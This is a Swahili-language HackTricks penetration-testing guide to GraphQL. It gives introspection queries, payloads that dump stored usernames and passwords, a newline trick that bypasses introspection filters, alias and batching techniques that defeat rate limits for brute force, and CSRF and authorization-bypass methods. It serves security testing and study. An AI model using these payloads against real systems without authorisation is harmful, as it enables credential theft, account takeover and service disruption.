hacktricks/network-services-pentesting/pentesting-web/graphql.md

26 KiB

GraphQL

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi

GraphQL inaonekana kama mbadala ufanisi wa REST API, ikitoa njia iliyorahisishwa ya kuuliza data kutoka kwa seva ya nyuma. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kote kwenye vituo tofauti kuchukua data, GraphQL inawezesha kupata habari zote inayohitajika kupitia ombi moja. Hii inasaidia sana wabunifu kwa kupunguza ugumu wa mchakato wao wa kupata data.

GraphQL na Usalama

Na kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, mapungufu mapya ya usalama pia hutokea. Jambo muhimu la kuzingatia ni kwamba GraphQL haitoi njia za uthibitishaji kwa chaguo-msingi. Ni jukumu la wabunifu kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, vituo vya GraphQL vinaweza kufunua habari nyeti kwa watumiaji wasiothibitishwa, ikileta hatari kubwa ya usalama.

Mashambulizi ya Nguvu ya Direktori na GraphQL

Kutambua mifano ya GraphQL iliyofunuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya nguvu ya direktori. Njia hizi ni:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Kutambua mifano ya GraphQL iliyofunguliwa inaruhusu uchunguzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia kituo cha mwisho. Mfumo wa uchunguzi wa GraphQL unawezesha hili kwa kuelezea maswali ambayo mpango wa data unauunga mkono. Kwa habari zaidi kuhusu hili, tazama nyaraka za GraphQL kuhusu uchunguzi: GraphQL: Lugha ya kuuliza kwa APIs.

Alama ya Vidole

Zana graphw00f inaweza kugundua ni injini gani ya GraphQL inayotumiwa kwenye seva na kisha kuchapisha habari muhimu kwa mkaguzi wa usalama.

Maswali ya Ulimwenguni

Ili kuthibitisha ikiwa URL ni huduma ya GraphQL, swali la ulimwengu, query{__typename}, linaweza kutumwa. Ikiwa jibu lina jumuisha {"data": {"__typename": "Query"}}, inathibitisha kuwa URL ina kituo cha GraphQL. Mbinu hii inategemea uwanja wa __typename wa GraphQL, ambao unaonyesha aina ya kitu kilichoulizwa.

query{__typename}

Uchambuzi wa Msingi

Graphql kawaida inasaidia GET, POST (x-www-form-urlencoded) na POST(json). Ingawa kwa usalama inapendekezwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.

Uchunguzi wa Ndani

Kutumia uchunguzi wa ndani kugundua habari za muundo, uliza uga wa __schema. Uga huu upatikana kwenye aina ya msingi ya maswali yote.

query={__schema{types{name,fields{name}}}}

Na swali hili utapata jina la aina zote zinazotumiwa:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Kwa swali hili unaweza kuchimba aina zote, uga wake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuuliza database.

Makosa

Ni muhimu kujua ikiwa makosa yataonyeshwa kwani yatachangia na taarifa muhimu.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Kuorodhesha Muundo wa Hifadhidata kupitia Uchunguzi

{% hint style="info" %} Ikiwa uchunguzi umewezeshwa lakini swali lililopita halifanyi kazi, jaribu kuondoa maelekezo ya onOperation, onFragment, na onField kutoka kwa muundo wa swali. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Ombi la uchunguzi wa moja kwa moja:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Mstari wa mwisho wa nambari ni ombi la graphql ambalo litadumpa taarifa zote za meta kutoka kwa graphql (majina ya vitu, paramita, aina...)

Ikiwa uchunguzi wa ndani umewezeshwa unaweza kutumia GraphQL Voyager kuona katika GUI chaguo zote.

Kuuliza

Sasa tukijua aina gani ya taarifa imehifadhiwa ndani ya database, jaribu kutoa baadhi ya thamani.

Katika uchunguzi wa ndani unaweza kupata kitu gani unaweza kuuliza moja kwa moja (kwa sababu huwezi kuuliza kitu tu kwa sababu kipo). Katika picha ifuatayo unaweza kuona kwamba "queryType" inaitwa "Query" na kwamba moja ya uga wa kitu cha "Query" ni "flags", ambayo pia ni aina ya kitu. Kwa hivyo unaweza kuuliza kitu cha bendera.

Tambua kwamba aina ya ombi "flags" ni "Flags", na kitu hiki kimefafanuliwa kama ifuatavyo:

Unaweza kuona kwamba vitu vya "Flags" vinajumuisha jina na thamani. Kisha unaweza kupata majina yote na thamani za bendera kwa ombi:

query={flags{name, value}}

Tafadhali kumbuka kwamba katika kesi object to query ni primitive type kama string kama katika mfano ufuatao

Unaweza kuuliza tu na:

query={hiddenFlags}

Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha aina "Query": "user" na "users".
Ikiwa vitu hivi havihitaji hoja yoyote ya kutafuta, unaweza kupata taarifa zote kutoka kwao kwa tu kuuliza data unayotaka. Katika mfano huu kutoka kwenye Mtandao unaweza kuchukua majina ya watumiaji na nywila zilizohifadhiwa:

Hata hivyo, katika mfano huu ukijaribu kufanya hivyo utapata kosa hili:

Inaonekana kwa namna fulani itatafuta kutumia hoja ya "uid" aina ya Int.
Hata hivyo, tayari tulijua hilo, katika sehemu ya Uchambuzi wa Msingi ilipendekezwa hoja iliyokuwa ikituonyesha taarifa zote zinazohitajika: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Ukisoma picha iliyotolewa wakati ninaendesha hoja hiyo utaona kwamba "user" alikuwa na arg "uid" aina ya Int.

Kwa hivyo, kwa kufanya uid bruteforce kidogo niligundua kwamba katika uid=1 jina la mtumiaji na nywila ilipatikana:
query={user(uid:1){user,password}}

Tafadhali kumbuka kwamba niligundua kwamba naweza kuuliza vipengele "user" na "password" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (query={user(uid:1){noExists}}) napata kosa hili:

Na wakati wa hatua ya uchambuzi niligundua kwamba kitu cha "dbuser" kilikuwa na vitu "user" na "password.

Mbinu ya kudumpisha hoja ya mfululizo wa herufi (shukrani kwa @BinaryShadow_)

Ikiwa unaweza kutafuta kwa aina ya mfululizo wa herufi, kama: query={theusers(description: ""){username,password}} na utafute mfululizo wa herufi tupu itadumpisha data yote. (Tafadhali kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu fikiria unaweza kutafuta kwa kutumia "theusers" kwa uga wa String unaoitwa "description").

Kutafuta

Katika hali hii, database ina watuhumiwa na filamu. Watuhumiwa wanatambuliwa kwa barua pepe na jina; filamu kwa jina na kiwango chake. Watuhumiwa wanaweza kuwa marafiki na wao pia wana filamu, ikionyesha mahusiano ndani ya database.

Unaweza kutafuta watu kwa jina na kupata barua zao pepe:

{
searchPerson(name: "John Doe") {
email
}
}

Unaweza kutafuta watu kwa jina na kupata filamu waliyo jisajili nazo:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Tafadhali angalia jinsi ilivyoelezwa kuchukua jina la subscribedMovies ya mtu.

Unaweza pia kutafuta vitu vingi kwa wakati mmoja. Katika kesi hii, utafutaji wa sinema 2 unafanywa:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Au hata mahusiano ya vitu kadhaa tofauti kutumia majina mbadala:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mabadiliko

Mabadiliko hutumika kufanya mabadiliko upande wa server.

Katika uchunguzi unaweza kupata mabadiliko yaliyotangazwa. Katika picha ifuatayo "MutationType" inaitwa "Mutation" na kitu cha "Mutation" kina majina ya mabadiliko (kama vile "addPerson" katika kesi hii):

Katika hali hii, database ina watendaji na filamu. Watendaji wanatambuliwa na barua pepe na jina; filamu kwa jina na kiwango chake. Watendaji wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.

Mabadiliko ya kuunda filamu mpya ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko inaitwa addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Tambua jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.

Kwa kuongezea, database inasaidia operesheni ya mutation, inayoitwa addPerson, ambayo inaruhusu uundaji wa watu pamoja na uhusiano wao na marafiki na filamu zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima kuwepo tayari katika database kabla ya kuwaunganisha na mtu aliyeumbwa kwa mara ya kwanza.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Kuelekeza Kuzidisha

Kama ilivyoelezwa katika mojawapo ya mapungufu yaliyoelezwa katika ripoti hii, kuelekeza kuzidisha inamaanisha kuita kuelekeza hata mamilioni ya mara ili kufanya server kutumia shughuli mpaka iwezekane kufanya DoS.

Kupanga nguvu ya nguvu katika ombi 1 la API

Habari hii ilichukuliwa kutoka https://lab.wallarm.com/graphql-batching-attack/.
Uthibitisho kupitia GraphQL API na kutuma maombi mengi kwa wakati mmoja na vitambulisho tofauti kuchunguza hilo. Ni shambulio la nguvu la kawaida, lakini sasa inawezekana kutuma zaidi ya jozi moja ya kuingia/nenosiri kwa ombi moja la HTTP kwa sababu ya kipengele cha kupanga cha GraphQL. Mbinu hii itadanganya programu za ufuatiliaji wa viwango vya nje kufikiri kuwa kila kitu kiko sawa na hakuna boti inayjaribu kudhanua nywila.

Hapa chini unaweza kupata onyesho rahisi zaidi la ombi la uthibitisho wa programu, na jozi 3 tofauti za barua pepe/nenosiri kwa wakati mmoja. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:

Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha null na kufunua habari inayofanana katika sehemu ya kosa. Mabadiliko ya pili yalikuwa na data sahihi ya uthibitisho na majibu yalikuwa na ishara sahihi ya kikao cha uthibitisho.

GraphQL Bila Uchunguzi

Miisho zaidi na zaidi ya graphql inazima uchunguzi. Walakini, makosa ambayo graphql hutoa wakati ombi lisilotarajiwa linapokelewa ni ya kutosha kwa zana kama clairvoyance kujenga tena sehemu kubwa ya muundo.

Zaidi ya hayo, ugani wa Burp Suite GraphQuail unaangalia maombi ya GraphQL API yanayopitia Burp na kujenga muundo wa GraphQL wa ndani kila ombi jipya linaloona. Pia inaweza kufunua muundo kwa GraphiQL na Voyager. Ugani hurejesha majibu bandia wakati unapopokea ombi la uchunguzi. Kama matokeo, GraphQuail huonyesha maombi yote, hoja, na uga uliopo kwa matumizi ndani ya API. Kwa habari zaidi angalia hii.

Orodha nzuri ya maneno ya kugundua entiti za GraphQL inaweza kupatikana hapa.

Kupita Ulinzi wa Uchunguzi wa GraphQL

Kupita Ulinzi wa Uchunguzi wa GraphQL

Ili kupita vizuizi kwenye ombi za uchunguzi katika APIs, kuingiza tabia maalum baada ya neno la __schema huthibitisha ufanisi. Mbinu hii inatumia makosa ya kawaida ya watengenezaji katika mifumo ya regex ambayo lengo lake ni kuzuia uchunguzi kwa kuzingatia neno la __schema. Kwa kuongeza herufi kama nafasi, mistari mipya, na virgaa, ambavyo GraphQL inapuuza lakini huenda havijazingatiwa katika regex, vizuizi vinaweza kuzungukwa. Kwa mfano, ombi la uchunguzi lenye mstari mpya baada ya __schema linaweza kupita ulinzi kama huo:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Ikiwa haujafanikiwa, tafakari njia mbadala za ombi kama vile ombi la GET au POST na x-www-form-urlencoded, kwani vizuizi vinaweza kuomba tu kwa ombi la POST.

Kugundua Miundo ya GraphQL Iliyofunuliwa

Wakati uchunguzi umefungwa, kutazama msimbo wa chanzo wa wavuti kwa ajili ya maswali yaliyopakiwa katika maktaba za JavaScript ni mkakati wenye manufaa. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha Vyanzo katika zana za maendeleo, kutoa ufahamu wa muundo wa API na kufunua maswali yanayoweza kuwa nyeti yaliyofunuliwa. Amri za kutafuta ndani ya zana za maendeleo ni:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF katika GraphQL

Ikiwa haujui ni nini CSRF soma ukurasa ufuatao:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Kule nje utaweza kupata sehemu kadhaa za GraphQL zilizoconfigure bila tokeni za CSRF.

Tambua kuwa ombi za GraphQL kawaida hutumwa kupitia maombi ya POST kwa kutumia Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Hata hivyo, sehemu kubwa ya vituo vya GraphQL pia inasaidia maombi ya POST ya form-urlencoded:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Kwa hivyo, kwa kuwa maombi ya CSRF kama yale ya awali yanatumwa bila maombi ya awali, ni rahisi kufanya mabadiliko katika GraphQL kwa kutumia CSRF.

Walakini, kumbuka kuwa thamani mpya ya kuki ya chaguo la samesite ya Chrome ni Lax. Hii inamaanisha kuwa kuki itatumwa tu kutoka kwa wavuti ya mtu wa tatu katika maombi ya GET.

Tambua kuwa mara nyingi inawezekana kutuma ombi la kuuliza pia kama ombi la GET na kitambulisho cha CSRF huenda kisithibitishwe katika ombi la GET.

Pia, kwa kutumia XS-Search shambulio inaweza kuwa rahisi kuchota maudhui kutoka kwa hatima ya GraphQL kwa kutumia sifa za mtumiaji.

Kwa habari zaidi angalia chapisho la asili hapa.

Uthibitisho katika GraphQL

Funguo nyingi za GraphQL zilizoelezwa kwenye hatima zinaweza kuangalia tu uwakilishi wa mwenyeombi lakini sio idhini.

Kubadilisha pembejeo za maswali kunaweza kusababisha maelezo muhimu ya akaunti kuvuja leaked.

Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kujaribu kubadilisha data ya akaunti nyingine.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Kupuuza idhini katika GraphQL

Kuunganisha maswali pamoja kunaweza kupuuza mfumo dhaifu wa uthibitishaji.

Katika mfano hapa chini unaweza kuona kuwa operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword linalohusiana nayo. Hii inaweza kupuuzwa kwa kuongeza swali mwishoni, katika kesi hii tunaweza kuongeza "register" na kifungu cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.

Kupuuza Vipimo vya Kasi Kwa Kutumia Majina Mbadala katika GraphQL

Katika GraphQL, majina mbadala ni kipengele chenye nguvu kinachoruhusu kuweka majina ya mali waziwazi wakati wa kutuma ombi la API. Uwezo huu ni muhimu hasa kwa kupata mifano mingi ya aina ile ile ya kitu ndani ya ombi moja. Majina mbadala yanaweza kutumika kushinda kizuizi kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.

Kwa uelewa wa kina wa majina mbadala ya GraphQL, rasilimali ifuatayo inapendekezwa: Majina Mbadala.

Ingawa lengo kuu la majina mbadala ni kupunguza haja ya wito nyingi za API, matumizi yasiyotarajiwa yamegunduliwa ambapo majina mbadala yanaweza kutumika kutekeleza mashambulizi ya nguvu kwenye mwisho wa GraphQL. Hii inawezekana kwa sababu baadhi ya mwisho wa API zinalindwa na wapimaji wa kasi iliyoundwa kuzuia mashambulizi ya nguvu kwa kuzuia idadi ya maombi ya HTTP. Hata hivyo, wapimaji hawa wa kasi hawawezi kuzingatia idadi ya operesheni ndani ya kila ombi. Kwa kuwa majina mbadala huruhusu kuongeza maswali mengi katika ombi moja la HTTP, yanaweza kuzunguka hatua hizo za kikomo cha kasi.

Fikiria mfano uliotolewa hapa chini, ambao unaelezea jinsi maswali yaliyo na majina mbadala yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo la duka. Mbinu hii inaweza kupuuza kikomo cha kasi kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu uhalalishaji wa nambari nyingi za punguzo kwa wakati mmoja.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Vifaa

Skana za Udhaifu

Wateja

Majaribio ya Kiotomatiki

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: